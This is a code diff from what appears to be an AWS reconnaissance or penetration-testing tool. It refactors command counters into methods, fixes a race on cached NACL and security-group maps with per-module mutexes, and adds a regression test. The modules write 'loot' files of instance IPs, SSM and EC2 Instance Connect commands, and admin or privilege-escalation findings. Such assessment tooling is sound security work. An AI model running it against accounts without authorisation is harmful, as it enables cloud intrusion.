@@ -464,7 +464,7 @@ func (m *IamSimulatorModule) isPrincipalAnAdmin(principal *string) bool {
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
m.modLog.Errorf("Failed admin check on %s", aws.ToString(principal))
|
||||
return false
|
||||
}
|
||||
|
||||
+23
-21
@@ -122,15 +122,19 @@ func (m *InstancesModule) Instances(filter string, outputDirectory string, verbo
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(instancesToSearch, region, wg, dataReceiver)
|
||||
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
//time.Sleep(time.Second * 2)
|
||||
|
||||
// Perform role analysis
|
||||
// Signal the receiver to stop and wait for it to finish draining the channel.
|
||||
// This must happen BEFORE role analysis to ensure all MappedInstances are collected.
|
||||
receiverDone <- true
|
||||
<-receiverDone
|
||||
|
||||
// Perform role analysis (all instances are now in m.MappedInstances)
|
||||
if m.pmapperError == nil {
|
||||
for i := range m.MappedInstances {
|
||||
m.MappedInstances[i].Admin, m.MappedInstances[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.MappedInstances[i].Role)
|
||||
@@ -144,8 +148,6 @@ func (m *InstancesModule) Instances(filter string, outputDirectory string, verbo
|
||||
// Send a message to the spinner goroutine to close the channel and stop
|
||||
spinnerDone <- true
|
||||
<-spinnerDone
|
||||
receiverDone <- true
|
||||
<-receiverDone
|
||||
|
||||
// This conditional block will either dump the userData attribute content or the general instances data, depending on what you select via command line.
|
||||
//fmt.Printf("\n[*] Preparing output...\n\n")
|
||||
@@ -180,7 +182,7 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputDirectory s
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
userDataFileName := filepath.Join(path, fmt.Sprintf("%s.txt", m.output.CallingModule))
|
||||
|
||||
@@ -212,7 +214,7 @@ func (m *InstancesModule) printInstancesUserDataAttributesOnly(outputDirectory s
|
||||
err = os.WriteFile(userDataFileName, []byte(userDataOut), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), userDataFileName)
|
||||
} else {
|
||||
@@ -343,7 +345,7 @@ func (m *InstancesModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
privateIPsFilename := filepath.Join(path, "instances-ec2PrivateIPs.txt")
|
||||
publicIPsFilename := filepath.Join(path, "instances-ec2PublicIPs.txt")
|
||||
@@ -394,22 +396,22 @@ func (m *InstancesModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
err = os.WriteFile(privateIPsFilename, []byte(privateIPs), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
err = os.WriteFile(publicIPsFilename, []byte(publicIPs), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
err = os.WriteFile(ssmCommandsFilename, []byte(ssmCommands), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
err = os.WriteFile(ec2InstanceConnectCommandsFilename, []byte(ec2InstanceConnectCommands), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), privateIPsFilename)
|
||||
@@ -446,17 +448,17 @@ func (m *InstancesModule) executeChecks(instancesToSearch []string, r string, wg
|
||||
res, err := servicemap.IsServiceInRegion("ec2", r)
|
||||
if err != nil {
|
||||
m.modLog.Errorf("Error checking if EC2 is available in region %s: %v", r, err)
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
m.modLog.Debugf("ServiceMap check for EC2 in region %s: result=%v, error=%v", r, res, err)
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.Pending--
|
||||
m.CommandCounter.Executing++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.CommandCounter.DecrPending()
|
||||
m.CommandCounter.IncrExecuting()
|
||||
m.getDescribeInstances(instancesToSearch, r, dataReceiver)
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
} else {
|
||||
m.modLog.Infof("Skipping region %s: EC2 not available or check failed", r)
|
||||
}
|
||||
@@ -467,7 +469,7 @@ func (m *InstancesModule) getInstanceUserDataAttribute(instanceID *string, regio
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return nil, err
|
||||
} else {
|
||||
if UserData == "" {
|
||||
@@ -487,7 +489,7 @@ func (m *InstancesModule) getDescribeInstances(instancesToSearch []string, regio
|
||||
Instances, err := sdk.CachedEC2DescribeInstances(m.EC2Client, aws.ToString(m.Caller.Account), region)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -586,7 +588,7 @@ func (m *InstancesModule) getRolesFromInstanceProfiles() {
|
||||
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
for _, instanceProfile := range ListInstanceProfiles.InstanceProfiles {
|
||||
|
||||
+343
-343
File diff suppressed because it is too large.
Load diff
+9
-9
@@ -105,7 +105,7 @@ func (m *LambdasModule) PrintLambdas(outputDirectory string, verbosity int) {
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, semaphore, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -241,7 +241,7 @@ func (m *LambdasModule) executeChecks(r string, wg *sync.WaitGroup, semaphore ch
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
wg.Add(1)
|
||||
m.getLambdasPerRegion(r, wg, semaphore, dataReceiver)
|
||||
}
|
||||
@@ -265,7 +265,7 @@ func (m *LambdasModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
err := os.MkdirAll(path, os.ModePerm)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
pullFile := filepath.Join(path, "lambda-get-function-commands.txt")
|
||||
|
||||
@@ -289,7 +289,7 @@ func (m *LambdasModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
err = os.WriteFile(pullFile, []byte(out), 0644)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
if verbosity > 2 {
|
||||
@@ -306,8 +306,8 @@ func (m *LambdasModule) writeLoot(outputDirectory string, verbosity int) {
|
||||
|
||||
func (m *LambdasModule) getLambdasPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Lambda) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
wg.Done()
|
||||
|
||||
}()
|
||||
@@ -319,7 +319,7 @@ func (m *LambdasModule) getLambdasPerRegion(r string, wg *sync.WaitGroup, semaph
|
||||
functions, err := m.listFunctions(r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
}
|
||||
|
||||
for _, function := range functions {
|
||||
@@ -360,7 +360,7 @@ func (m *LambdasModule) listFunctions(r string) ([]types.FunctionConfiguration,
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return functions, err
|
||||
}
|
||||
functions = append(functions, ListFunctions.Functions...)
|
||||
@@ -389,7 +389,7 @@ func (m *LambdasModule) getResourcePolicy(r string, functionName string) (policy
|
||||
)
|
||||
if err != nil {
|
||||
sharedLogger.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return projectPolicy, err
|
||||
}
|
||||
|
||||
|
||||
+68
-63
@@ -50,9 +50,6 @@ var (
|
||||
# Make sure the host you scan IPv6 from has an IPv6 network interface.
|
||||
#############################################
|
||||
`
|
||||
|
||||
naclsMutex = sync.RWMutex{}
|
||||
securityGroupsMutex = sync.RWMutex{}
|
||||
)
|
||||
|
||||
type NetworkPortsModule struct {
|
||||
@@ -77,11 +74,13 @@ type NetworkPortsModule struct {
|
||||
ServiceMap *awsservicemap.AwsServiceMap // Shared service map to avoid repeated HTTP requests
|
||||
|
||||
// Main module data
|
||||
IPv4_Private []NetworkService
|
||||
IPv4_Public []NetworkService
|
||||
IPv6 []NetworkService
|
||||
nacls map[string]*[]ec2_types.NetworkAcl
|
||||
securityGroups map[string]*[]ec2_types.SecurityGroup
|
||||
IPv4_Private []NetworkService
|
||||
IPv4_Public []NetworkService
|
||||
IPv6 []NetworkService
|
||||
nacls map[string]*[]ec2_types.NetworkAcl
|
||||
securityGroups map[string]*[]ec2_types.SecurityGroup
|
||||
naclsMutex sync.RWMutex
|
||||
securityGroupsMutex sync.RWMutex
|
||||
|
||||
CommandCounter internal.CommandCounter
|
||||
// Used to store output data for pretty printing
|
||||
@@ -172,7 +171,7 @@ func (m *NetworkPortsModule) PrintNetworkPorts(outputDirectory string) {
|
||||
|
||||
for _, region := range m.AWSRegions {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.executeChecks(region, wg, dataReceiver)
|
||||
|
||||
}
|
||||
@@ -287,7 +286,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.getEC2NetworkPortsPerRegion(r, dataReceiver)
|
||||
}
|
||||
|
||||
@@ -296,7 +295,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.getECSNetworkPortsPerRegion(r, dataReceiver)
|
||||
}
|
||||
|
||||
@@ -305,7 +304,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.getEFSNetworkPortsPerRegion(r, dataReceiver)
|
||||
}
|
||||
|
||||
@@ -314,25 +313,25 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.getElastiCacheNetworkPortsPerRegion(r, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("elb", r)
|
||||
res, err = servicemap.IsServiceInRegion("elasticloadbalancing", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.getLBNetworkPortsPerRegion(r, dataReceiver)
|
||||
}
|
||||
|
||||
res, err = servicemap.IsServiceInRegion("lightsail", r)
|
||||
res, err = servicemap.IsServiceInRegion("amazonlightsail.com", r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.getLightsailNetworkPortsPerRegion(r, dataReceiver)
|
||||
}
|
||||
|
||||
@@ -341,7 +340,7 @@ func (m *NetworkPortsModule) executeChecks(r string, wg *sync.WaitGroup, dataRec
|
||||
m.modLog.Error(err)
|
||||
}
|
||||
if res {
|
||||
m.CommandCounter.Total++
|
||||
m.CommandCounter.IncrTotal()
|
||||
m.getRdsNetworkPortsPerRegion(r, dataReceiver)
|
||||
}
|
||||
|
||||
@@ -429,8 +428,8 @@ func (m *NetworkPortsModule) writeLootFile(filename string, bannner string, ipv4
|
||||
|
||||
func (m *NetworkPortsModule) getEC2NetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}()
|
||||
securityGroups := m.getEC2SecurityGroupsPerRegion(r)
|
||||
nacls := m.getEC2NACLsPerRegion(r)
|
||||
@@ -533,8 +532,8 @@ func (m *NetworkPortsModule) getEC2NetworkPortsPerRegion(r string, dataReceiver
|
||||
|
||||
func (m *NetworkPortsModule) getECSNetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}()
|
||||
securityGroups := m.getEC2SecurityGroupsPerRegion(r)
|
||||
nacls := m.getEC2NACLsPerRegion(r)
|
||||
@@ -548,7 +547,7 @@ func (m *NetworkPortsModule) getECSNetworkPortsPerRegion(r string, dataReceiver
|
||||
service, err := m.describeECSService(serviceArn, &clusterArn, r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -585,7 +584,7 @@ func (m *NetworkPortsModule) getECSNetworkPortsPerRegion(r string, dataReceiver
|
||||
task, err := m.describeECSTask(taskArn, &clusterArn, r)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -668,8 +667,8 @@ func (m *NetworkPortsModule) getECSNetworkPortsPerRegion(r string, dataReceiver
|
||||
|
||||
func (m *NetworkPortsModule) getEFSNetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}()
|
||||
securityGroups := m.getEC2SecurityGroupsPerRegion(r)
|
||||
nacls := m.getEC2NACLsPerRegion(r)
|
||||
@@ -731,8 +730,8 @@ func (m *NetworkPortsModule) getEFSNetworkPortsPerRegion(r string, dataReceiver
|
||||
|
||||
func (m *NetworkPortsModule) getElastiCacheNetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}()
|
||||
securityGroups := m.getEC2SecurityGroupsPerRegion(r)
|
||||
nacls := m.getEC2NACLsPerRegion(r)
|
||||
@@ -843,8 +842,8 @@ func (m *NetworkPortsModule) getElastiCacheNetworkPortsPerRegion(r string, dataR
|
||||
|
||||
func (m *NetworkPortsModule) getLBNetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}()
|
||||
securityGroups := m.getEC2SecurityGroupsPerRegion(r)
|
||||
nacls := m.getEC2NACLsPerRegion(r)
|
||||
@@ -959,8 +958,8 @@ func (m *NetworkPortsModule) getLBNetworkPortsPerRegion(r string, dataReceiver c
|
||||
|
||||
func (m *NetworkPortsModule) getLightsailNetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}()
|
||||
instances := m.getLightsailInstancesPerRegion(r)
|
||||
|
||||
@@ -1070,8 +1069,8 @@ func (m *NetworkPortsModule) getLightsailNetworkPortsPerRegion(r string, dataRec
|
||||
|
||||
func (m *NetworkPortsModule) getRdsNetworkPortsPerRegion(r string, dataReceiver chan NetworkServices) {
|
||||
defer func() {
|
||||
m.CommandCounter.Executing--
|
||||
m.CommandCounter.Complete++
|
||||
m.CommandCounter.DecrExecuting()
|
||||
m.CommandCounter.IncrComplete()
|
||||
}()
|
||||
securityGroups := m.getEC2SecurityGroupsPerRegion(r)
|
||||
nacls := m.getEC2NACLsPerRegion(r)
|
||||
@@ -1143,13 +1142,16 @@ func (m *NetworkPortsModule) getRdsNetworkPortsPerRegion(r string, dataReceiver
|
||||
}
|
||||
|
||||
func (m *NetworkPortsModule) getEC2SecurityGroupsPerRegion(region string) []ec2_types.SecurityGroup {
|
||||
m.securityGroupsMutex.RLock()
|
||||
cached, ok := m.securityGroups[region]
|
||||
m.securityGroupsMutex.RUnlock()
|
||||
if ok && cached != nil {
|
||||
return *cached
|
||||
}
|
||||
|
||||
var securityGroups []ec2_types.SecurityGroup
|
||||
var PaginationControl *string
|
||||
|
||||
if m.securityGroups[region] != nil {
|
||||
return *m.securityGroups[region]
|
||||
}
|
||||
|
||||
for {
|
||||
DescribeSecurityGroups, err := m.EC2Client.DescribeSecurityGroups(
|
||||
context.TODO(),
|
||||
@@ -1162,7 +1164,7 @@ func (m *NetworkPortsModule) getEC2SecurityGroupsPerRegion(region string) []ec2_
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1176,9 +1178,9 @@ func (m *NetworkPortsModule) getEC2SecurityGroupsPerRegion(region string) []ec2_
|
||||
}
|
||||
}
|
||||
|
||||
securityGroupsMutex.Lock()
|
||||
m.securityGroupsMutex.Lock()
|
||||
m.securityGroups[region] = &securityGroups
|
||||
securityGroupsMutex.Unlock()
|
||||
m.securityGroupsMutex.Unlock()
|
||||
return securityGroups
|
||||
}
|
||||
|
||||
@@ -1215,13 +1217,16 @@ func (m *NetworkPortsModule) parseSecurityGroup(group ec2_types.SecurityGroup) S
|
||||
}
|
||||
|
||||
func (m *NetworkPortsModule) getEC2NACLsPerRegion(region string) []ec2_types.NetworkAcl {
|
||||
m.naclsMutex.RLock()
|
||||
cached, ok := m.nacls[region]
|
||||
m.naclsMutex.RUnlock()
|
||||
if ok && cached != nil {
|
||||
return *cached
|
||||
}
|
||||
|
||||
var nacls []ec2_types.NetworkAcl
|
||||
var PaginationControl *string
|
||||
|
||||
if m.nacls[region] != nil {
|
||||
return *m.nacls[region]
|
||||
}
|
||||
|
||||
for {
|
||||
DescribeNetworkAcls, err := m.EC2Client.DescribeNetworkAcls(
|
||||
context.TODO(),
|
||||
@@ -1234,7 +1239,7 @@ func (m *NetworkPortsModule) getEC2NACLsPerRegion(region string) []ec2_types.Net
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1248,9 +1253,9 @@ func (m *NetworkPortsModule) getEC2NACLsPerRegion(region string) []ec2_types.Net
|
||||
}
|
||||
}
|
||||
|
||||
naclsMutex.Lock()
|
||||
m.naclsMutex.Lock()
|
||||
m.nacls[region] = &nacls
|
||||
naclsMutex.Unlock()
|
||||
m.naclsMutex.Unlock()
|
||||
return nacls
|
||||
}
|
||||
|
||||
@@ -1320,7 +1325,7 @@ func (m *NetworkPortsModule) getEC2InstancesPerRegion(region string) []ec2_types
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1359,7 +1364,7 @@ func (m *NetworkPortsModule) getEC2NetworkInterfacesPerRegion(interfaceId string
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1394,7 +1399,7 @@ func (m *NetworkPortsModule) getECSClustersPerRegion(region string) []string {
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1430,7 +1435,7 @@ func (m *NetworkPortsModule) getECSServicesPerRegion(clusterArn *string, region
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1493,7 +1498,7 @@ func (m *NetworkPortsModule) getECSTasksPerRegion(service *string, clusterArn *s
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1553,7 +1558,7 @@ func (m *NetworkPortsModule) getEFSSharesPerRegion(region string) []efs_types.Fi
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1589,7 +1594,7 @@ func (m *NetworkPortsModule) getEFSMountTargetsPerRegion(filesystem *string, reg
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1624,7 +1629,7 @@ func (m *NetworkPortsModule) getElastiCacheClustersPerRegion(region string) []el
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1659,7 +1664,7 @@ func (m *NetworkPortsModule) getElastiCacheSubnetGroupsPerRegion(region string)
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1694,7 +1699,7 @@ func (m *NetworkPortsModule) getElastiCacheReplicationGroupsPerRegion(region str
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1729,7 +1734,7 @@ func (m *NetworkPortsModule) getLightsailInstancesPerRegion(region string) []lig
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1764,7 +1769,7 @@ func (m *NetworkPortsModule) getLoadBalancersPerRegion(region string) []elbv2_ty
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1800,7 +1805,7 @@ func (m *NetworkPortsModule) getLBListenerPorts(arn *string, region string) ([]i
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1850,7 +1855,7 @@ func (m *NetworkPortsModule) getRdsClustersPerRegion(region string) []rds_types.
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
@@ -1885,7 +1890,7 @@ func (m *NetworkPortsModule) getRdsInstancesPerRegion(region string) []rds_types
|
||||
)
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
break
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,67 @@
|
||||
package aws
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sync"
|
||||
"testing"
|
||||
|
||||
ec2_types "github.com/aws/aws-sdk-go-v2/service/ec2/types"
|
||||
)
|
||||
|
||||
// TestNetworkPortsCacheConcurrentAccess is a regression test for issue #129.
|
||||
// Pre-fix, the cache lookup in getEC2NACLsPerRegion and getEC2SecurityGroupsPerRegion
|
||||
// read m.nacls / m.securityGroups without holding a mutex while writes from
|
||||
// other goroutines were locked, producing a "concurrent map read and map write"
|
||||
// panic under load. Run with `go test -race ./aws/...` to verify the lock fix.
|
||||
func TestNetworkPortsCacheConcurrentAccess(t *testing.T) {
|
||||
m := &NetworkPortsModule{
|
||||
nacls: make(map[string]*[]ec2_types.NetworkAcl),
|
||||
securityGroups: make(map[string]*[]ec2_types.SecurityGroup),
|
||||
}
|
||||
|
||||
// Pre-populate one region so reader goroutines hit the cached fast-path
|
||||
// without needing a live EC2 client.
|
||||
cachedNACLs := []ec2_types.NetworkAcl{}
|
||||
m.nacls["cached"] = &cachedNACLs
|
||||
cachedSGs := []ec2_types.SecurityGroup{}
|
||||
m.securityGroups["cached"] = &cachedSGs
|
||||
|
||||
var wg sync.WaitGroup
|
||||
const readers = 100
|
||||
for i := 0; i < readers; i++ {
|
||||
wg.Add(2)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
_ = m.getEC2NACLsPerRegion("cached")
|
||||
}()
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
_ = m.getEC2SecurityGroupsPerRegion("cached")
|
||||
}()
|
||||
}
|
||||
|
||||
// Writer goroutines populate uncached regions directly through the mutex,
|
||||
// mirroring what the live functions do after a successful AWS fetch. The
|
||||
// readers above must not race with these writes.
|
||||
const writers = 10
|
||||
for i := 0; i < writers; i++ {
|
||||
region := fmt.Sprintf("uncached-%d", i)
|
||||
wg.Add(2)
|
||||
go func(r string) {
|
||||
defer wg.Done()
|
||||
sl := []ec2_types.NetworkAcl{}
|
||||
m.naclsMutex.Lock()
|
||||
m.nacls[r] = &sl
|
||||
m.naclsMutex.Unlock()
|
||||
}(region)
|
||||
go func(r string) {
|
||||
defer wg.Done()
|
||||
sl := []ec2_types.SecurityGroup{}
|
||||
m.securityGroupsMutex.Lock()
|
||||
m.securityGroups[r] = &sl
|
||||
m.securityGroupsMutex.Unlock()
|
||||
}(region)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
}
|
||||
+4
-4
@@ -191,7 +191,7 @@ func (m *OrgModule) ProcessMultipleAccounts(AWSProfiles []string, version string
|
||||
|
||||
for _, profile := range AWSProfiles {
|
||||
wg.Add(1)
|
||||
m.CommandCounter.Pending++
|
||||
m.CommandCounter.IncrPending()
|
||||
go m.FindMgmtAccounts(profile, version, wg, semaphore, dataReceiver)
|
||||
|
||||
wg.Wait()
|
||||
@@ -244,7 +244,7 @@ func (m *OrgModule) FindMgmtAccounts(profile string, version string, wg *sync.Wa
|
||||
DescribeOrganization, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Errorf("Failed to describe organization: %s", err)
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
|
||||
@@ -273,7 +273,7 @@ func (m *OrgModule) addOrgAccounts() {
|
||||
accounts, err := sdk.CachedOrganizationsListAccounts(m.OrganizationsClient, aws.ToString(m.Caller.Account))
|
||||
if err != nil {
|
||||
m.modLog.Error(err.Error())
|
||||
m.CommandCounter.Error++
|
||||
m.CommandCounter.IncrError()
|
||||
return
|
||||
}
|
||||
for _, account := range accounts {
|
||||
